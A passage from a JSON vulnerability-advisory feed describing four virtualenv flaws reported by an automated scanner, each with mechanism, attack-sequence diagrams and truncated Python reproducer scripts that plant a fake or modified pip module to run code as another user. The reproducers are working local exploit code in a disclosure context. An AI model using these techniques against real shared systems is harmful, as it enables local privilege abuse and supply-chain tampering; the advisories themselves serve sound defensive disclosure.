temporary app-data. The resulting environment depends on a cache pathname that its\nowner no longer controls.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-ZOE2GEPC` in `virtualenv-20261015-005`, received on 15 October 2026.\nThis draft records source review and functional remediation checks. The reporter's cross-account code-execution claim\nhas not been independently reproduced.\n\n## Affected area\n\nIntegrity of app-data references after temporary cache cleanup.\n\n## Attacker-controlled input\n\nSymlink seeding must be enabled through `VIRTUALENV_SYMLINK_APP_DATA` or `symlink_app_data` in the configuration file,\nand app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that\nfallback. Ordinary copy seeding does not leave these references.\n\nThe security concern requires a shared temporary-directory parent where another account can acquire the deleted cache\npathname, followed by use of the affected environment. That account need not already be able to modify the environment\nor the private cache while it exists. This differs from the security policy's excluded case of an account that already\ncontrols live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that\ncross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows\ndefaults.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[symlink seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/via_app_data.py),\n[temporary cache cleanup](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/app_data/via_tempdir.py).\n\n## Mechanism\n\nWhen app-data setup falls back to a temporary directory, the command-line `--symlink-app-data` action is disabled. A\nvalue supplied by `VIRTUALENV_SYMLINK_APP_DATA` or `virtualenv.ini` can still become the parser default, and the seeder\nconstructor accepts that value without rechecking the cache lifetime. It links `site-packages/pip` into the temporary\ncache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another\naccount on a shared temporary filesystem.\n\n## Reproduction and evidence\n\nThe scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment\nowner had an unwritable home, so app-data fell back to `/tmp`. The control used the command-line flag and received a\nreal pip directory. With `VIRTUALENV_SYMLINK_APP_DATA=1`, the new environment instead contained a `pip` link into a\ndeleted `/tmp/tmpXXXXXXXX` directory. A second uid recreated the target path and placed a fake `pip/__init__.py` there.\nWhen the owner ran `venv/bin/pip --version`, that module created a marker inside the owner's environment and printed\n`this is not pip`.\n\nThe cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later\nuse of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache\nguard to #1661, first released in 20.0.6.\n[Public fix PR #3437](https://github.com/pypa/virtualenv/pull/3437) copies packages whenever app-data is\ntemporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the\ncross-account reproduction.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant U as Environment owner\n participant V as virtualenv seeder\n participant T as Temporary app-data in /tmp\n participant E as site-packages/pip link\n participant A as Other local account\n U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home\n V->>T: create transient cache\n V->>E: link pip to cache path\n V->>T: delete cache at session exit\n A->>T: reclaim old name and plant fake pip\n U->>E: run bin/pip --version\n E->>T: import fake pip through stale link\n T-->>U: attacker's code runs as owner\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ZOE2GEPC`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nowner = pwd.getpwnam(\"nobody\") # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one\nother_user_uid = 4242\nproject = Path(\"/srv/project\")\nother_user_files = Path(\"/var/tmp/other-user\")\n\n# set up: a project folder only the owner can write, and the other user's two files in a folder of their own\nshutil.rmtree(project, ignore_errors=True)\nshutil.rmtree(other_user_files, ignore_errors=True)\nproject.mkdir(mode=0o755)\nos.chown(project, owner.pw_uid, owner.pw_gid)\nshutil.copytree(\"/tmp/repro.d\", other_user_files)\nsubprocess.run([\"chown\", \"-R\", f\"{other_user_uid}:{other_user_uid}\", other_user_files], check=True)\n\nas_owner = {\"user\": owner.pw_uid, \"group\": owner.pw_gid, \"extra_groups\": [], \"cwd\": project}\nas_other_user = {\"user\": other_user_uid, \"group\": other_user_uid, \"extra_groups\": [], \"cwd\": \"/\"}\nowner_env = {\"HOME\": owner.pw_dir, \"PATH\": os.environ[\"PATH\"]}\nvirtualenv = [\"virtualenv\", \"--quiet\", \"--no-periodic-update\"]\n\n# control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied\nsubprocess.run([*virtualenv, \"--symlink-app-data\"\n\nAffected package ranges reported by GitHub:\nvirtualenv: >= 21.14.8, < 21.14.10","action":"GitHub lists first patched versions: virtualenv: 21.14.10. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:26:57.000Z","updatedAt":"2026-10-23T22:26:58.000Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-4f8h-vr72-p32c","asOf":"2026-10-23T22:26:58.000Z"},"epss":{"probability":0.00139,"percentile":0.0324,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113713&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-4f8h-vr72-p32c","url":"https://github.com/advisories/GHSA-4f8h-vr72-p32c","type":"primary","publishedAt":"2026-10-23T22:26:57.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4f8h-vr72-p32c, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113713&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113713, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113717","cveId":"CVE-2026-113717","aliases":["GHSA-cx28-75q4-x26q"],"kind":"vulnerability","title":"virtualenv: Pip seeding with download omits wheel digest verification","summary":"The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv's wheel digest verification.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.","detail":"## Summary\n\nThe pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected.\nIndex candidates on that path do not pass through virtualenv's wheel digest verification.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nWheel selection by the pip seeder when downloads are enabled.\n\n## Attacker-controlled input\n\nThe pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy.\nExplicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[pip seeder](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/pip_invoke.py).\n\n## Mechanism\n\nWith `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so\nvirtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the\nconfigured index. An index wheel with the same package and version as the bundled wheel can be selected without\nvirtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the\nsame option.\n\n## Reproduction and evidence\n\nThe scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same\nfilename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the\nsecond run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel;\n`env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting\n`BUG`.\n\nBoth `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left\n`PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained\nactive. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is\nolder, while the comparison with the default seeder arose when digest verification was added in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) acquires and verifies selected wheels before invoking pip with\nindex lookup disabled.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Index in pip.conf\n participant V as virtualenv PipInvoke\n participant P as pip install\n participant E as Seeded environment\n I->>V: serve modified pip wheel\n V->>V: get_wheel(download=False)\n V->>P: install with --download permitting index lookup\n P->>I: select same-version index wheel\n I->>E: modified pip installed without virtualenv digest check\n E->>E: later pip invocation runs added code\n Note over V,E: Default app-data seeder rejects the same digest\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport zipfile\n\nfrom virtualenv.seed.wheels.embed import get_embed_wheel\n\ncompanions = \"/tmp/repro.d\"\nwork = \"/tmp/repro-pip-seeder-download\"\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)\nbundled = get_embed_wheel(\"pip\", f\"{sys.version_info.major}.{sys.version_info.minor}\")\npypi_sha256 = hashlib.sha256(open(bundled.path, \"rb\").read()).hexdigest()\npypi_release = {\"filename\": bundled.name, \"digests\": {\"sha256\": pypi_sha256}}\nos.makedirs(f\"{work}/pypi.org/pypi/pip\")\nwith open(f\"{work}/pypi.org/pypi/pip/json\", \"w\") as pypi_json:\n json.dump({\"releases\": {bundled.version: [pypi_release]}}, pypi_json)\n\n# attacker: the mirror serves other bytes under the bundled wheel's own file name\nmarker = f\"{work}/MIRROR_CODE_RAN\"\nsubprocess.run([sys.executable, f\"{companions}/make_mirror.py\", str(bundled.path), f\"{work}/mirror\", marker], check=True)\nmirror_wheel = f\"{work}/mirror/pip/{bundled.name}\"\nmirror_sha256 = hashlib.sha256(open(mirror_wheel, \"rb\").read()).hexdigest()\nprint(f\"{bundled.name}: PyPI publishes sha256 {pypi_sha256}\")\nprint(f\"{bundled.name}: the mirror serves sha256 {mirror_sha256}\")\n\n# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset\nwith open(f\"{work}/pip.conf\", \"w\") as pip_conf:\n pip_conf.write(f\"[global]\\nindex-url = file://{work}/mirror\\n\") # file:// stands in for the mirror's http URL\nos.makedirs(f\"{work}/home-default\")\nos.makedirs(f\"{work}/home-pip\") # one HOME per run, so neither sees the other's app-data or pip cache\nvirtualenv = [sys.executable, f\"{companions}/virtualenv_offline.py\", f\"{work}/pypi.org\", \"--no-periodic-update\"]\n\n# control: the default seeder with --download fetches the mirror's wheel and refuses it\ndefault_seeder = subprocess.run(\n [*virtualenv, \"--download\", f\"{work}/env-default\"],\n env={**os.environ, \"HOME\": f\"{work}/home-default\", \"PIP_CONFIG_FILE\": f\"{work}/pip.conf\"},\n capture_output=True,\n text=True,\n)\nrefusal = [line for line in default_seeder.stdout.splitlines() if line.startswith(\"RuntimeError: \")]\nprint(f\"\\nCONTROL virtualenv --download env-default: exit {default_seeder.returncode}\")\nprint(\"\\n\".join(refusal))\n\n# trigger: the same command plus --seeder pip\npip_seeder = subprocess.run(\n [*virtualenv, \"--download\", \"--seeder\", \"pip\", f\"{work}/env-pip\"],\n \n\nAffected package ranges reported by GitHub:\nvirtualenv: < 21.14.9","action":"GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:26:04.000Z","updatedAt":"2026-10-23T22:26:05.000Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-cx28-75q4-x26q","asOf":"2026-10-23T22:26:05.000Z"},"epss":{"probability":0.00293,"percentile":0.2167,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113717&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-cx28-75q4-x26q","url":"https://github.com/advisories/GHSA-cx28-75q4-x26q","type":"primary","publishedAt":"2026-10-23T22:26:04.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cx28-75q4-x26q, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113717&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113717, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113714","cveId":"CVE-2026-113714","aliases":["GHSA-494p-63j8-28p3"],"kind":"vulnerability","title":"virtualenv: Downloaded wheel selection and caching precede verification","summary":"Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.","detail":"## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved ` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I->>P: modified wheel and forged Saved line\n P->>C: write modified wheel directly\n P-->>V: stdout names genuine bundled wheel\n V->>V: hash genuine wheel and accept\n V->>C: record modified wheel for reuse\n C->>N: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\ndef user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"\n\nAffected package ranges reported by GitHub:\nvirtualenv: < 21.14.9","action":"GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:25:22.000Z","updatedAt":"2026-10-23T22:25:23.000Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-494p-63j8-28p3","asOf":"2026-10-23T22:25:23.000Z"},"epss":{"probability":0.00219,"percentile":0.1226,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113714&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-494p-63j8-28p3","url":"https://github.com/advisories/GHSA-494p-63j8-28p3","type":"primary","publishedAt":"2026-10-23T22:25:22.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-494p-63j8-28p3, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113714&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113714, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113720","cveId":"CVE-2026-113720","aliases":["GHSA-fc2g-4w5p-6whm"],"kind":"vulnerability","title":"virtualenv: Seeded files retain permissions from an older cache","summary":"The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache\npopulated under permissive permissions can therefore produce files with wider access in later environments.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.","detail":"## Summary\n\nThe app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache\npopulated under permissive permissions can therefore produce files with wider access in later environments.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermissions of files copied from app-data into a new environment.\n\n## Attacker-controlled input\n\nThe cache must contain files created with broader permissions than the current environment creator intends. Another\naccount must also be able to traverse the new environment and reach those files. A private parent directory prevents\nthat access. No control of a private live cache is assumed.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with\n`shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the\ncurrent run's umask. If the cache image was built under umask `000`, a later environment created under umask `022` can\nreceive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts.\n\n## Reproduction and evidence\n\nThe scanner created two histories with separate private app-data caches. In the control, the owner's first run used\numask `022`; a later environment had no files writable by another account, and that account could not append to\n`pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report\ncounted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and\n`bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both\nhistories.\n\nAn attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable\ndestination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates\napp-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425)\ncreates copied files under a fixed non-writable-by-others policy further restricted by the current umask.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant U as Environment owner\n participant C as Private app-data cache\n participant E as Later environment\n participant A as Other local account\n U->>C: first seed extraction under umask 000\n C-->>U: cached pip files have mode 0666\n U->>E: create environment under umask 022\n C->>E: shutil.copy reapplies mode 0666\n A->>E: append code to pip/__init__.py\n U->>E: run bin/pip --version\n E-->>U: appended code runs as owner\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nsys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes\nos.umask(0o022) # for the directories made here as root\nOWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids\nVIRTUALENV = [\"virtualenv\", \"--quiet\", \"--no-periodic-update\"] # default seeder; no network for the update check\n# read here, as root: /tmp/repro.d need not be readable by the other user\nATTACK = Path(\"/tmp/repro.d/other_user_appends_to_pip.py\").read_text()\n\ndef run_as_owner(command, home, umask):\n environ = {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}\n subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)\n\ndef mode(path):\n return stat.filemode(os.stat(path).st_mode)\n\nwork = Path(\"/tmp/seed-mode-repro\")\nshutil.rmtree(work, ignore_errors=True)\nwork.mkdir()\nproofs = work / \"proofs\"\nproofs.mkdir()\nproofs.chmod(0o777) # the other user's line writes the uid it runs as in here\n\nwritable_by_others, appended_line_ran_as = {}, {}\n# the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv\nfor case, umask_of_earlier_run in [(\"CONTROL\", 0o022), (\"OBSERVED\", 0o000)]:\n # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path\n home = work / f\"{case}-home\"\n home.mkdir(mode=0o700)\n os.chown(home, OWNER, OWNER)\n projects = work / f\"{case}-projects\"\n projects.mkdir(mode=0o755)\n os.chown(projects, OWNER, OWNER)\n\n # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it\n run_as_owner([*VIRTUALENV, str(home / \"earlier-env\")], home, umask=umask_of_earlier_run)\n # owner, today\n env = projects / \"env\"\n run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)\n\n (cached_pip,) = glob.glob(f\"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py\")\n (seeded_pip,) = glob.glob(f\"{env}/lib/python*/site-packages/pip/__init__.py\")\n env_files = [path for path in env.rglob(\"*\") if path.is_file() and not path.is_symlink()]\n writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)\n print(f\"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022\")\n print(f\"{case} cache pip/__init__.py {mode(cached_pip)}\")\n print(f\"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}\")\n print(f\"{case} e\n\nAffected package ranges reported by GitHub:\nvirtualenv: < 21.14.9","action":"GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T22:23:11.000Z","updatedAt":"2026-10-23T22:23:12.000Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-fc2g-4w5p-6whm","asOf":"2026-10-23T22:23:12.000Z"},"epss":{"probability":0.00134,"percentile":0.02845,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113720&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-fc2g-4w5p-6whm","url":"https://github.com/advisories/GHSA-fc2g-4w5p-6whm","type":"primary","publishedAt":"2026-10-23T22:23:11.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-fc2g-4w5p-6whm, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113720&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113720, scored 2026-10-25. This is a model estimate, not proof of 